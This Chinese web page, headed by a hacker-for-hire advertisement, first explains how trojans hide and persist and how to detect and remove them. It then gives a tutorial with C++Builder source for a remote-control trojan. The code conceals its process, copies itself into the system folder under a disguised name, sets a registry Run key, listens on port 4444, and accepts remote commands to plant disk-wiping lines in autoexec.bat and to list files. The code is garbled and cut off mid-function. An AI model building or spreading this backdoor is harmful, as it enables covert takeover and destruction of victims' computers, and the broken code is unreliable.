黑客24小时接单的黑客网站

黑客接单的网站,黑客网站,黑客技术,破解密码,破解技术

DOS木马病毒代码编写(简单木马病毒代码)

本文导读目录:

计算机病毒和木马的工作原理和过程(好的追加200)

“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。

一个完整的“木马”程序包含了两部分:“服务器”和“控制器”。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!

病毒是附着于程序或文件中的一段计算机代码,它可在计算机之间传播。它一边传播一边感染计算机。病毒可损坏软件、硬件和文件。

病毒 (n.):以自我复制为明确目的编写的代码。病毒附着于宿主程序,然后试图在计算机之间传播。它可能损坏硬件、软件和信息。

与人体病毒按严重性分类(从 Ebola 病毒到普通的流感病毒)一样,计算机病毒也有轻重之分,轻者仅产生一些干扰,重者彻底摧毁设备。令人欣慰的是,在没有人员操作的情况下,真正的病毒不会传播。必须通过某个人共享文件和发送电子邮件来将它一起移动。

“木马”全称是“特洛伊木马(TrojanHorse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员(或居心不良的马夫)在其可从网络上下载(Download)的应用程序或游戏外挂、或网页中,包含了可以控制用户的计算机系统或通过邮件盗取用户信息的恶意程序,可能造成用户的系统被破坏、信息丢失甚至令系统瘫痪。

一、木马的特性

特洛伊木马属于客户/服务模式。它分为两大部分,既客户端和服务端。其原理是一台主机提供服务(服务器端),另一台主机接受服务(客户端),作为服务器的主机一般会打开一个默认的端口进行监听。如果有客户机向服务器的这一端口提出连接请求,服务器上的相应程序就会自动运行,来答应客户机的请求。这个程序被称为进程。

木马一般以寻找后门、窃取密码为主。统计表明,现在木马在病毒中所占的比例已经超过了四分之一,而在近年涌起的病毒潮中,木马类病毒占绝对优势,并将在未来的若干年内愈演愈烈。木马是一类特殊的病毒,如果不小心把它当成一个软件来使用,该木马就会被“种”到电脑上,以后上网时,电脑控制权就完全交给了“黑客”,他便能通过跟踪击键输入等方式,窃取密码、信用卡号码等机密资料,而且还可以对电脑进行跟踪监视、控制、查看、修改资料等操作。

二、木马发作特性

在使用计算机的过程中如果您发现:计算机反应速度发生了明显变化,硬盘在不停地读写,鼠标不听使唤,键盘无效,自己的一些窗口在被关闭,新的窗口被莫名其妙地打开,网络传输指示灯一直在闪烁,没有运行大的程序,而系统却越来越慢,系统资源站用很多,或运行了某个程序没有反映(此类程序一般不大,从十几k到几百k都有)或在关闭某个程序时防火墙探测到有邮件发出……这些不正常现象表明:您的计算机中了木马病毒。

三、木马的工作原理以及手动查杀介绍

由于大多玩家对安全问题了解不多,所以并不知道自己的计算机中了“木马”该怎么样清除。因此最关键的还是要知道“木马”的工作原理,这样就会很容易发现“木马”。相信你看了这篇文章之后,就会成为一名查杀“木马”的高手了。(如果成不了高手建议大家用皮筋打斑竹家玻璃,嘿嘿)

“木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False。ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。

A、启动组类(就是机器启动时运行的文件组)

当然木马也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,(没有人会这么傻吧??)。“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。通过win.ini和system.ini来加载木马。在Windows系统中,win.ini和system.ini这两个系统配置文件都存放在C:windows目录下,你可以直接用记事本打开。可以通过修改win.ini文件中windows节的“load=file.exe,run=file.exe”语句来达到木马自动加载的目的。此外在system.ini中的boot节,正常的情况下是“Shell=Explorer.exe”(Windows系统的图形界面命令解释器)。下面具体谈谈“木马”是怎样自动加载的。

1、在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOLTrojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

通过c:windowswininit.ini文件。很多木马程序在这里做一些小动作,这种方法往往是在文件的安装过程中被使用,程序安装完成之后文件就立即执行,与此同时安装的原文件被Windows删除干净,因此隐蔽性非常强,例如在wininit.ini中如果Rename节有如下内容:NUL=c:windowspicture.exe,该语句将c:windowspicture.exe发往NUL,这就意味着原来的文件pictrue.exe已经被删除,因此它运行起来就格外隐蔽。

2、在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell=explorer.exe程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

win.ini、system.ini文件可以通过“开始”菜单里的“运行”来查看。只要在“运行”对话框中输入“msconfig”,后点击“确定”按钮就行了。(这里大家一定要注意,如果你对计算机不是很了解,请不要输入此命令或删除里边的文件,否则一切后果和损失自己负责。斑竹和本人不承担任何责任。)

3、对于下面所列的文件也要勤加检查,木马们也可能隐藏在

C:\windows\winstart.bat和C:\windows\winnint.ini,还有Autoexec.bat

B、注册表(注册表就是注册表,懂电脑的人一看就知道了)

1、从菜单中加载。如果自动加载的文件是直接通过在Windows菜单上自定义添加的,一般都会放在主菜单的“开始-程序-启动”处,在Win98资源管理器里的位置是“C:windowsstartmenuprograms启动”处。通过这种方式使文件自动加载时,一般都会将其存放在注册表中下述4个位置上:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserS!hellFolders

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\UserShellFolders

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\ShellFolders

2、在注册表中的情况最复杂,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“AcidBatteryv1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的Explorer键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

3、此外在注册表中的HKEY_CLASSES_ROOT\exefile\shell\open\command=

“1”“*”处,如果其中的“1”被修改为木马,那么每次启动一个该可执行文件时木马就会启动一次,例如著名的冰河木马就是将TXT文件的Notepad.exe改成!了它自己的启动文件,每次打开记事本时就会自动启动冰河木马,做得非常隐蔽。

注册表可以通过在“运行”对话框中输入“regedit”来查看。需要说明的是,对系统注册表进行删除修改操作前一定要将注册表备份,因为对注册表操作有一定的危险性,加上木马的隐藏较隐蔽,可能会有一些误操作,如果发现错误,可以将备份的注册表文件导入到系统中进行恢复。(次命令同样很危险,如不懂计算机请不要尝试。切记)

C、端口(端口,其实就是网络数据通过操作系统进入计算机的入口)

1、万变不离其宗,木马启动都有一个方式,它只是在一个特定的情况下启动。所以平常多注意你的端口。一般的木马默认端口有

BO31337,YAL1999,Deep2140,Throat3150,冰河7636,Sub71243

那么如何查看本机开放哪些端口呢?

在dos里输入以下命令:netstat-an,就能看到自己的端口了,一般网络常用端口有:21,23,25,53,80,110,139,如果你的端口还有其他的,你可要注意了,因为现在有许多木马可以自己设定端口。(上面这些木马的端口是以前的,由于时间和安全的关系现在好多新木马的端口我不知道,也不敢去试,因为技术更新的太快了,我跟不上了。55555555555555)

2、由于木马的运行常通过网络的连接来实现的,因此如果发现可疑的网络连接就可以推测木马的存在,最简单的办法是利用Windows自带的Netstat命令来查看。一般情况下,如果没有进行任何上网操作,在MS-DOS窗口中用Netstat命令将看不到什么信息,此时可以使用“netstat-a”,“-a”选项用以显示计算机中目前所有处于监听状态的端口。如果出现不明端口处于监听状态,而目前又没有进行任何网络服务的操作,那么在监听该端口的很可能是木马。

3、系统进程:

在Win2000/XP中按下“CTL+ALT+DEL”,进入任务管理器,就可看到系统正在运行的全部进程,一一清查即可发现木马的活动进程。

在Win98下,查找进程的方法不那么方便,但有一些查找进程的工具可供使用。通过查看系统进程这种方法来检测木马非常简便易行,但是对系统必须熟悉,因为Windows系统在运行时本身就有一些我们不是很熟悉的进程在运行着,因此这个时候一定要小心操作,木马还是可以通过这种方法被检测出来的。

四、软件查杀木马介绍

上面所介绍的都是以手工方式来检测或者清除木马,但一般情况下木马没有那么容易就能发现,木马是很会隐藏的哦。幸好在已经有了不少的反木马软件。下面介绍几款软件,

1、瑞星杀毒软件。

2、个人版天网防火墙。根据反弹式木马的原理,就算你中了别人的木马,但由于防火墙把你的计算机和外界隔开,木马的客户端也连接不上你。防火墙启动之后,一旦有可疑的网络连接或者木马对电脑进行控制,防火墙就会报警,同时显示出对方的IP地址、接入端口等提示信息,通过手工设置之后即可使对方无法进行攻击。不过对于一些个别机器来说,运行天网会影响机器的运行速度。

3、木马克星。目前具我所知,是只查杀木马的软件,也是能查杀木马种类最多的软件。顾名思义,木马克星不克乾坤无敌槌也不克北冥槌法,专克各种木马。但也不是绝对哦,好象“灰鸽子”能屏蔽掉木马克星。(听说而已没试过哦。“灰鸽子”也是一种木马,和冰河差不多。)(现在木马克星大多是没注册的版本。用木马克星查木马时,要是提示你发现木马只有注册用户才能清除,这只是作者的一个小手段,其实他的意思是如果发现木马,那么只有注册用户才能清楚,要是真的发现了木马,软件会告诉你木马的具体位置和名字是什么。我们用其他的软件和手段清除不就行了)

4。绿鹰PC万能精灵。他会实时监控你的计算机,看着“系统安全”心理舒服多了。

有了类似的这些防护软件,你的计算机基本上是安全了。但道高一尺,魔高一丈。最近又出现了一种可以把木马伪装易容的程序(不知道是哪个高手搞的,很是厉害),就是把木马本体根据排列组合生成多个木马,而杀毒软件只能查杀他们的母体。而后生成的木马就不能查到了,所以手动人工的清除木马我们还是要掌握一些地。

软件查杀其他病毒很有效,对木马的检查也是蛮成功地,但彻底地清除不很理想,因为一般情况下木马在电脑每次启动时都会自动加载,而杀病毒软件却不能完全清除木马文件,总的说来,杀病毒软件作为防止木马的入侵来说更有效。

五、木马的防御

随着网络的普及和网络游戏装备可以换人民币的浪潮,木马的传播越来越快,而且新的变种层出不穷,我们在检测清除它的同时,更要注意采取措施来预防它,下面列举几种预防木马的方法。(大家的意见,我借用而已)

1、不要下载、接收、执行任何来历不明的软件或文件

很多木马病毒都是通过绑定在其他的软件或文件中来实现传播的,一旦运行了这个被绑定的软件或文件就会被感染,因此在下载的时候需要特别注意,一般推荐去一些信誉比较高的站点。在软件安装之前一定要用反病毒软件检查一下,建议用专门查杀木马的软件来进行检查,确定无毒和无马后再使用。

2、不要随意打开邮件的附件,也不要点击邮件中的可疑图片。(后边另外介绍一个关于邮件的例子,大家注意收看。)

3、将资源管理器配置成始终显示扩展名。将Windows资源管理器配置成始终显示扩展名,一些文件扩展名为vbs、shs、pif的文件多为木马病毒的特征文件,如果碰到这些可疑的文件扩展名时就应该引起注意。

4、尽量少用共享文件夹。如果因工作等原因必须将电脑设置成共享,则最好单独开一个共享文!件夹,把所有需共享的文件都放在这个共享文件夹中,注意千万不要将系统目录设置成共享。

5、运行反木马实时监控程序。木马防范重要的一点就是在上网时最好运行反木马实时监控程序,PC万用精灵等软件一般都能实时显示当前所有运行程序并有详细的描述信息。此外如加上一些专业的最新杀毒软件、个人防火墙等进行监控基本就可以放心了。

6、经常升级系统。很多木马都是通过系统漏洞来进行攻击的,微软公司发现这些漏洞之后都会在第一时间内发布补丁,很多时候打过补丁之后的系统本身就是一种最好的木马防范办法。

六、木马传播的个别范例(给大家介绍一个邮件类的)

1、来自网络的攻击手段越来越多了,一些带木马的恶意网页会利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的JavaApplet小应用程序、javascript脚本语言程序、ActiveX软件部件交互技术支持可自动执行的代码程序,强行修改用户操作系统的注册表及系统实用配置程序,从而达到非法控制系统资源、破坏数据、格式化硬盘、感染木马程序、盗取用户数据资料等目的。

目前来自网页的攻击分为两种:一种是通过编辑的脚本程序修改IE浏览器;另外一种是直接破坏Windows系统。前者一般会修改IE浏览器的标题栏、默认主页或直接将木马“种”在你的机器里等等;后者是直接锁定你的键盘、鼠标等输入设备然后对系统进行破坏。

(作者插言):还好目前盗取千年用户名和密码的“木马”功能还仅仅是偷盗行为,没有发展成破坏行为。要不然号被盗了,在顺便把硬盘被格式化了。那样想第一时间找回密码就都没可能。希望这种情况不要发生。(啊门我弥佗佛)

下边是正题了,大家看仔细了!

假如您收到的邮件附件中有一个看起来是这样的文件(或者貌似这类文件,总之是特别诱人的文件,而且格式还很安全。):QQ靓号放送.txt,您是不是认为它肯定是纯文本文件?我要告诉您,不一定!它的实际文件名可以是QQ靓号放送.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}。

{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}在注册表里是HTML文件关联的意思。但是存成文件名的时候它并不会显现出来,您看到的就是个.txt文件,这个文件实际上等同于QQ靓号放送.txt.html。那么直接打开这个文件为什么有危险呢?请看如果这个文件的内容如下:

您可能以为它会调用记事本来运行,可是如果您双击它,结果它却调用了HTML来运行,并且自动在后台开始通过网页加载木马文件。同时显示“正在打开文件”之类的这样一个对话框来欺骗您。您看随意打开附件中的.txt的危险够大了吧?

欺骗实现原理:当您双击这个伪装起来的.txt时候,由于真正文件扩展名是.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B},也就是.html文件,于是就会以html文件的形式运行,这是它能运行起来的先决条件。

在某些恶意网页木马中还会调用“WScript”。

WScript全称WindowsScriptingHost,它是Win98新加进的功能,是一种批次语言/自动执行工具——它所对应的程序“WScript.exe”是一个脚本语言解释器,位于c:\WINDOWS下,正是它使得脚本可以被执行,就象执行批处理一样。在WindowsScriptingHost脚本环境里,预定义了一些对象,通过它自带的几个内置对象,可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能。

最近听不少玩家反映,许多马夫通过冒充千年官方网站的办法给玩家发名字类似“您的千年密码确认函”、“您的千年资料保护建议”等的邮件,来骗取玩家的信任,来点击运行该木马邮件。希望广大玩家在点击这类邮件时一定要看清邮件是否来自于千年官方网站。如是来自其他什么网站或个人邮箱的,马上删除,记得一定要马上删除,别抱任何侥幸心理。

七、关于“木马”的防御(纯属个人意见,不付法律责任)

防止木马对在家上网来说是很简单的事,无非就是装一大堆杀毒软件,并及时升级。(再新的木马只要传播速度快的话很快就会成为各种杀毒软件的战利品,除非此人专门定做个人木马)在加上天网防火墙(很多黑客就是利用口令和漏洞进行远程控制,该防火墙可以防止口令和漏洞入侵)基本上就可以解决问题啦,除非是自己好奇或是不小心打开了木马服务端,我想这种情况还是占一定的比例!

但是对网吧上网的来说,再好的防御也是白撤。

据我所知,现在的网吧安全系数几乎等于00000000,现在最厉害的应该就是装个还“原精灵吧”,但是......我个人认为那东西用处不是很大,说是保护用户密码还不如说它是网吧保护系统的一种软件。现在的木马一般都是通过邮件方式传送密码的,也就是说,你只要在输入框内输入你的密码之后,木马控制方就已经得到你的ID和密码了(一般不会超过三分钟)!对网吧上网的朋友来说,靠复制方法输入ID和密码算最安全的了,很多木马程序实际上就是一个键盘记录工具,在你不知情的情况下把你的键盘输入情况全部记录了下来,然后通过网络发送出去!(好可怕哦,不过具我所知现在公安部和文化部已经明令禁止网吧安装还原精灵了,说是为了保留历史记录云云。唉~~就这么点防御手段也给封杀了,哭哦)

总之,家庭上网用户记得随时更新自己的病毒库,随时检查计算机进程,发现不明进程马上格杀,不浏览一些不明站点(我通常是靠域名来分析站点的可靠程度,一般一级域名都不会出现恶意代码和网页木马),更别随意接收别人给你发送的文件和邮件!

网吧防盗真的很困难了,什么人都有,复杂了,就算老板花钱去注册一个木马克星,呵呵。。。都没用,想做坏事的人同样能把他干掉~~~~我个人认为,网吧上网除了复制ID密码粘贴到输入框,其他的就得听天由命了~~~~~

八、关于大家都用的醉翁巷1.1G的说明

用了人家的软件,就总要替人家说句公道话。前些时候,有人说醉翁1.1G软件运行后,没什么反映。当关闭软件的一刹那,一些防护类软件提示:此软件正在监视本机键盘!!

其实就是醉翁巷中的hook.dll文件在作怪。下面给大家说说“勾子”的我问题。

什么是勾子

在Windows系统中,勾子(hook)是一种特殊的消息处理机制。勾子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的勾子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,利用勾子可以实现许多特殊而有用的功能。因此,对于高级编程人员来说,掌握勾子的编程方法是很有必要的。

勾子的类型

按使用范围分类,主要有线程勾子和系统勾子

(1)线程勾子监视指定线程的事件消息。

(2)系统勾子监视系统中的所有线程的事件消息。因为系统勾子会影响系统中所有的应用程序,所以勾子函数必须放在独立的动态链接库(DLL)中。这是系统勾子和线程勾子很大的不同之处。

醉翁巷中的hook.dll就是完成以上功能的程序,由于勾子对程序的特殊性,所以会有部分软件报告发现他在记录键盘动作,不过不会报告说他是木马。(呵呵搞的确实挺吓人的。不过就算它记录键盘动作,只要不发送就没太大危险了)

九、大总结(就是对上边的大总结啦)

大家知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后在根据实际情况进行处理。

简单无害的DOS病毒编写

用文本文件,txt的就是 notepad.exe编辑

然后改 .txt 为.bat

执行,就是dos 程序

如何编写木马

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

